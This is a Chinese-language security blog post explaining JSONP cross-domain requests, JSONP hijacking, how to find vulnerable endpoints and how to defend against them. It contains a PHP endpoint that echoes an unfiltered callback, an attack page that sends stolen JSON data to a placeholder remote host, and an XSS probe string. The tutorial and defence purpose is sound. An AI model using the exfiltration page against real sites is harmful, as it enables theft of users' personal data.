Loading

JSONP劫持

JSONP介绍

为了实现跨域,目前主流的两种方法就是JSONP和CORS。原理是利用<script>标签中的src属性没有跨域限制

JSONP跨域的用法

可以利用回调函数,比如以下的callback写法
<script src="http://jsonp.com/callback.php?callback=hehehe"></script>

回调函数:把函数名作为参数使用

JSONP跨域演示

假设有两个网站A和B,A需要拿到B网站上的数据。

模拟B网站,新建一个callback.php,数据为 $json_data = '{"customername1":"user1","password":"12345678"}';

<!-- callback.php -->

<?php
    header('Content-type: application/json');
    $callback = $_GET["callback"];
    //json数据
    $json_data = '{"customername1":"user1","password":"12345678"}';
    //输出jsonp格式的数据
    echo $callback . "(" . $json_data . ")";
?>

模拟A网站,新建一个test.html,取A网站上的数据,然后进行alert弹窗

<!-- test.html -->

<html>
<head>
<title>test</title>
<meta charset="utf-8">
<script type="text/javascript">
function hehehe(obj){
    alert(obj["password"]);
}
</script>
</head>
<body>
<script type="text/javascript" src="http://jsonp.com/callback.php?callback=hehehe"></script>
</body>
</html>

访问test.html,页面会执行script,请求http://localhost/callback.php?callback=hehehe,拿到callback.php的请求内容

hehehe({"customername1":"user1","password":"12345678"})

然后将请求的内容作为参数,执行hehehe函数,hehehe函数将请求的内容alert出来。最终的结果如下
img
此时即拿到了B网站callback.php上的数据

JSONP劫持

通过上面演示中的场景来看JSONP劫持。B网站开放了一个JSONP接口,也就是上面演示中的http://jsonp.com/callback.php?callback=。此接口可以返回B网站用户的信息,id,email等。
此时我们搭建一个恶意的A网站,写入类似于上面演示中的代码,只不过把alert弹窗出数据,换成了发送给黑客的远程服务器。这时候把A网站发送给用户诱导去点击,则可以获取用户的信息了。此类操作有点像CSRF
img
恶意代码利用如下:
jsonp.html

<html>
<head>
<title>jsonp</title>
<meta charset="utf-8">
<script type="text/javascript">
function evail(json){
    a = JSON.stringify(json);
    url = "http://xxxx:1122?pass=" + a;
    var request = new XMLHttpRequest();
    request.open("GET",url);
    request.send(null);
}
</script>
</head>
<body>
<script type="text/javascript" src="http://localhost/callback.php?callback=evail"></script>
</body>
</html>

利用python开启http服务,绑定1122端口,访问构造好的jsonp.html后,则数据发送到了我们的服务器上
img

挖掘与防御

漏洞挖掘

收集接口:找到返回数据格式是JSONP的接口(可以在数据包中检索关键词callback json jsonp email等,也可以加上callback参数,观察返回值是否变化)
加参数看返回信息:加上callback参数,观察返回值是否变化,是否返回jsonp格式的信息
比如以下就是标准的JSONP格式的信息
hehehe({"customername1":"user1","password":"12345678"})

实战中的jsonp信息如下
img

除了加上callback参数,还有其他参数也可能存在JSONP劫持,一般是由开发习惯来决定的,
img

img

漏洞防御

对于JSONP劫持的防御,其实类似于csrf的防御。

1)限制来源refer
2)在请求中添加 csrfToken 并在后端进行验证
3)按照JSON格式标准输出(设置Content-Type : application/json; charset=utf-8),预防http://127.0.0.1/getUsers.php?callback=<script>alert(/xss/)</script>形式的xss
4)过滤callback函数名以及JSON数据输出,预防xss

posted @ 2021-11-16 21:57  yyhuni's  阅读(131)  评论(0编辑  收藏  举报